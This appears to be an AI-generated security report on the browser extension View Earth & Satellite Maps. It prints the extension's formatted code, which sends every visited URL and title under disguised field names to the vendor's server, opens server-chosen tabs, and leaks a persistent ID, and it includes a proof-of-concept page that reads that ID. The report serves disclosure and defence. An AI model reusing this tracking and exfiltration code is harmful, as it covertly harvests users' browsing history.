Is View Earth & Satellite Maps safe?
View Earth & Satellite Maps sends the URL and title of every page you visit to its own server, tagged with a persistent install ID.
On each completed page load (and whenever the page title changes), the extension's background script sends the current tab's URL, title, and page description to viewearthsatellite.com, keyed to a userId assigned at install. A content script running on every site also answers unauthenticated postMessage requests with that same install ID, so any page can read a visitor's stable identifier. The server's response can also direct the extension to silently open a new tab to a URL of its choosing after the user clicks a link, at most once per minute.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
View Earth POSTs every page's URL and title under disguised field names
Code analysis shows the background sends the active tab's full URL, title, and meta description to the vendor's server on every navigation, keyed to a persistent ID, with the URL and title nested under unrelated field names.
What actually happens
You finish loading a page, or the page's title changes, for example when a video title loads in.
This applies on essentially any http or https site, as long as the extension and the server-side flag both allow it.
The background sends your persistent install ID plus the page's URL, title, and description to the vendor's own server.
The URL and title are nested under invented field names (atlas.route.surface.address, terra.lens.signal.caption) instead of url/title.
Fields in the POST body to earth-widget.php
- Install IDc9f2b6a1-7d4e-4c3a-91f0-2b8e5a6d10cf (illustrative)
The persistent ID assigned at setup, sent with every beacon so your visits can be strung into one history.
- Page URLhttps://news.example.com/politics/2026/local-election-results (illustrative)
The full address of the page you're on, sent under the invented field name atlas.route.surface.address.
- Page titleLocal election results roll in as counting continues (illustrative)
The page's title, sent under the invented field name terra.lens.signal.caption.
- Meta descriptionLive coverage and analysis of today's local election results. (illustrative)
Up to 5000 characters of the page's own meta description tag, sent as keywords.
The code that does this
The navigation beacon: shipped vs. formatted
serviceWorker.js, formatted and renamed for readability
serviceWorker.jsasync function sendNavigationBeacon(tab, contentContext, opts = {}) { try { if (!tab || !tab.id) return; if (!(await beaconEnabled())) return; // storage flag earth.flow.enabled const userId = await getOrCreateInstallId(); if (!(await remoteFlagAllows(userId))) return; // 24h-cached earth-widget-check.php flag let ctx = contentContext && typeof contentContext === "object" ? contentContext : {}; if (opts.preferContentContext || (!contentContext && tab.url && isYouTubeWatchUrl(tab.url))) { const sampled = await sampleTabMeta(tab.id); // asks the content script for <meta> tags if (sampled) ctx = sampled; } const url = typeof ctx.url === "string" && ctx.url.trim() ? ctx.url : (tab.url || ""); const title = typeof ctx.title === "string" ? ctx.title : (tab.title || ""); if (!url) return; const description = ctx.description ? String(ctx.description).trim().substring(0, 5000) : ""; // de-dupe: skip if this exact url+title+description was already sent for // this tab in the last ~10 seconds const signature = `${url}\n${title}\n${description}`; const prior = recentSignatures.get(tab.id); const now = Date.now(); if (prior && prior.signature === signature && now - prior.at < 10000) return; recentSignatures.set(tab.id, { signature, at: now }); // URL and title are nested under names unrelated to their meaning const body = { userId, terra: { lens: { signal: { caption: title } } }, // "caption" IS the page title atlas: { route: { surface: { address: url } } }, // "address" IS the page URL keywords: description }; const res = await fetch(`https://viewearthsatellite.com/extension/api/earth-widget.php`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(body) }); if (!res.ok) { const text = await res.text().catch(() => ""); // a failed navigation beacon logs as an ad "bid", not a data upload throw new Error(`bid HTTP ${res.status}: ${text}`); } const responseJson = await res.json().catch(() => ({})); await chrome.storage.local.set({ [tab.id]: unwrapResponse(responseJson) }); } catch {}}Where the beacon goes
- viewearthsatellite.com
The vendor's own server. Receives every navigation/title-change beacon (URL, title, description) keyed to your install ID, plus install/uninstall and remote-flag endpoints.
Check if you're affected
Unwraps a captured beacon body's disguised field names back to plain URL, title, and description values.
- Node.js 18+
#!/usr/bin/env node// Unwraps a captured POST body to// viewearthsatellite.com/extension/api/earth-widget.php (View Earth & Satellite// Maps, id gknlhlnbajcblnbnacnagmdocnfiimhk) back to the plain fields it holds.// Usage: node decode-earth-beacon.js < captured-body.jsonconst fs = require("fs");const body = JSON.parse(fs.readFileSync(0, "utf8"));console.log("Install ID: ", body.userId);console.log("Page URL (wire name atlas.route.surface.address):", body?.atlas?.route?.surface?.address);console.log("Page title (wire name terra.lens.signal.caption): ", body?.terra?.lens?.signal?.caption);console.log("Meta description (wire name keywords): ", body?.keywords);- 1Capture a POST body sent to viewearthsatellite.com/extension/api/earth-widget.php from your browser's network panel.
- 2Run: node decode-earth-beacon.js < body.json.
- 3Read the printed URL/title/description.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
View Earth can open an extra tab to a server-chosen URL after a link click
Code analysis shows that after a normal link click, the background can open a new tab to a URL its own server supplied earlier, up to once every 60 seconds, without any notice to you.
What actually happens
You left-click a normal same-page link, not a middle-click and not one that already opens in a new tab.
This works on any site, as long as the page already triggered the extension's navigation beacon and got a target URL back.
The background can open a brand-new tab to a URL its own server chose, at most once every 60 seconds.
The link you clicked still goes where its own href points; the extra tab's address is never shown anywhere in the extension's UI.
What decides the extra tab's destination
- Target URLhttps://promo.example-partner.test/landing?ref=ew (illustrative)
The address the new tab opens to. Chosen entirely by the vendor's server in an earlier beacon reply, not by anything on the page.
- Pinned / muted flagspinned: false, muted: false (illustrative)
The server can also tell the extension to open the tab pinned or muted, which changes how visible it is to you.
- Cooldown timestamp1758123456789
The time of the last such tab-open, used only to enforce the once-per-60-seconds limit.
The code that does this
Link-click detector and the gated tab-open, shipped vs. formatted
earth-widget.js, formatted
earth-widget.jsfunction isGenuineLinkNavigation(clickEvent) { try { let node = clickEvent.target; while (node && node.nodeName && node.nodeName.toLowerCase() !== "a" && node.parentNode instanceof Node) { node = node.parentNode; } if (node && node.nodeName && node.nodeName.toLowerCase() === "a") { const href = node.getAttribute("href"); const hasTarget = node.getAttribute("target"); const isMiddleClick = clickEvent.button === 1; const isValidUrl = (() => { try { new URL(href, window.location.href); return true; } catch { return false; } })(); return !(hasTarget || !isValidUrl || isMiddleClick); } return false; } catch { return false; }}// wired on every page: document.body.addEventListener("click", e => {// if (e.target instanceof Element) {// sendToBackground({ type: "earth:surface:engage", data: isGenuineLinkNavigation(e) });// }// });serviceWorker.js, formatted and renamed
serviceWorker.jsasync function maybeOpenServerTab(sourceTabId, wasGenuineLinkClick, sourceTab) { if (!(await beaconEnabled())) return void await clearCachedTarget(sourceTabId, "earthOrbitUnit"); const cached = await getPerTabCache(sourceTabId); if (!cached) return; const unit = cached.earthOrbitUnit; if (!unit) return; const targetUrl = unit.earthOrbitPath; // = the beacon response's nta.targetLink if (!targetUrl) return; if (!(await cooldownElapsed())) return; // last-open timestamp, 60s minimum gap const finalUrl = `${targetUrl}${wasGenuineLinkClick ? "&l=1" : ""}`; const newTab = await chrome.tabs.create({ url: finalUrl, active: !unit.delayed, pinned: (unit.pinned || 0) > 0 }); if (newTab && newTab.id) { await recordOpenedTab(newTab.id, { createdAt: Date.now(), openedUrl: finalUrl, sourceTabId }); await markLastOpenNow(); if (unit.muted) chrome.tabs.update(newTab.id, { muted: true }); } await clearCachedTarget(sourceTabId, "earthOrbitUnit");}Check if you're affected
Lists any open tab that currently has a server-supplied redirect URL cached and ready to fire on the next qualifying link click.
- Chrome DevTools access to the extension's service worker (chrome://extensions, Developer mode)
// Run in the extension's own service worker console:// chrome://extensions -> View Earth & Satellite Maps -> "service worker" -> Inspect.// Lists any tab that currently has a server-supplied redirect target cached and// ready to fire on the next qualifying link click.chrome.storage.local.get(null, (all) => { for (const [key, value] of Object.entries(all)) { if (/^\d+$/.test(key) && value && value.earthOrbitUnit && value.earthOrbitUnit.earthOrbitPath) { console.log(`Tab ${key} has a pending redirect target:`, value.earthOrbitUnit.earthOrbitPath); } }});- 1Open chrome://extensions, enable Developer mode, find the extension, click 'service worker' to open its console.
- 2Paste and run this script.
- 3Any tab ID printed has a pending redirect logged with it.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
View Earth replies to any site's script with your permanent install ID
Observed during dynamic analysis: a content script on every page replies to a message asking for your install ID, returning the same ID to scripts on unrelated sites without checking the sender.
What actually happens
You load a page that embeds a third-party script, for example an ad, widget, or analytics script inside an iframe.
The content script reads your install ID from storage and listens on every frame of every http(s) page.
Any script that posts the right message gets your permanent install ID sent straight back, with no check on which site or frame asked.
The same ID comes back on every unrelated site, so a script embedded on many sites can link your visits to them together.
What a querying script receives back
- Install ID (uid)2562400620155685518
A single ID assigned to this browser at install. Every site that asks gets the same value back, letting it tie your visits together.
- Message typeearth:ref:uid
The exact message a page must post to trigger the reply, a fixed string readable in the shipped code.
The code that does this
The unauthenticated postMessage listener vs. the extension's own origin-checked one
usage-events.js, formatted
usage-events.jsconst STORAGE_KEY = "earth.uid";chrome.storage.local.get(STORAGE_KEY, (result) => { const uid = result && result[STORAGE_KEY]; if (!uid) return; window.addEventListener("message", ({ data, source }) => { if (data && data.type === "earth:ref:uid" && source) { // no e.origin check here: replies to ANY sender on ANY site source.postMessage({ type: "earth:ref:uid-result", data: { uid } }); } });});earth-widget.js, formatted (this one DOES check origin)
earth-widget.jswindow.addEventListener("message", (e) => { // contrast: this listener in the SAME extension DOES check origin if (e.origin === "https://viewearthsatellite.com" && e.data && e.data.type === "earth-widget-close") { closeWidgetPanel(); }});Reproduce it yourself
Loads in any page the extension runs on and asks it, via postMessage, for the stored install ID, then logs whatever comes back.
- Extension installed and past initial setup, so chrome.storage.local key earth.uid already holds a value
<!DOCTYPE html><html><body><script>// Run this page on ANY http(s) site the extension runs on. It does not need// to be the vendor's own domain; usage-events.js runs on https://*/* and// http://*/*, all_frames, with no origin check on the reply.window.addEventListener("message", (e) => { if (e.data && e.data.type === "earth:ref:uid-result") { console.log("Received the extension's stored install uid:", e.data.data.uid); }});window.postMessage({ type: "earth:ref:uid" }, "*");</script></body></html>- 1Save as read-earth-uid.html and open it in a browser tab on any http(s) site.
- 2Open the browser console.
- 3If the extension has completed setup, the returned uid logs within a second.
Observation
Observed during dynamic analysis: on two unrelated sites, example.com and wikipedia.org, a page script posted the message and received the identical install ID (2562400620155685518) both times, with no origin check.
Where it sends data
Destinations our analysis observed View Earth & Satellite Maps contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- viewearthsatellite.com
View Earth & Satellite Maps sends data to viewearthsatellite.com. One other extension we have analyzed sends data here.
